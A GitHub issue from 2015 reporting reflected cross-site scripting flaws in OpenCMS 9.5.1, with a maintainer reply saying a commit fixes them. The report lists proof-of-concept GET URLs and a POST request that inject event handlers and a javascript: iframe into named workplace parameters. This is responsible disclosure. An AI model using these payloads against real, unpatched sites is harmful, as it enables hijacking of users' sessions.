Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Multiple XSS Vulnerabilities OpenCMS 9.5.1 #304

Closed
rehanah opened this issue Mar 4, 2015 · 1 comment
Closed

Multiple XSS Vulnerabilities OpenCMS 9.5.1 #304

rehanah opened this issue Mar 4, 2015 · 1 comment

Comments

@rehanah
Copy link

rehanah commented Mar 4, 2015

During some security testing I have identified the following XSS (reflected) vulnerabilities.The OpenCMS 9.5.1 workplace do not properly validate pages and parameters throughout the application.

Request Method: GET

  1. /opencms/system/modules/org.opencms.workplace.help/jsptemplates/help_head.jsp?__locale=en&homelink="+onmouseover="javascript:confirm(0);">Click HERE<!--
  2. /opencms/system/workplace/locales/en/help/index.html?buildframe=true&workplaceresource="+onmouseover=confirm(0)//
  3. /opencms/system/workplace/views/admin/admin-main.jsp?root=explorer&menu=no&path=%2Fpublishqueue';[XSS PAYLOAD]
  4. /opencms/system/workplace/views/explorer/explorer_files.jsp?mode=explorerview";[XSS PAYLOAD]

Request Method: POST

POST /opencms/system/modules/org.opencms.workplace.help/elements/search.jsp?__locale=en HTTP/1.1
..........................................................................................................................................................
..........................................................................................................................................................
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Content-Length: 104

action=search&query=<iframe src=javascript:confirm(0) &index=German+online+help&searchPage=1&query2=1234

@tHerrmann
Copy link

These issues are fixed by commit a2e5cba.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants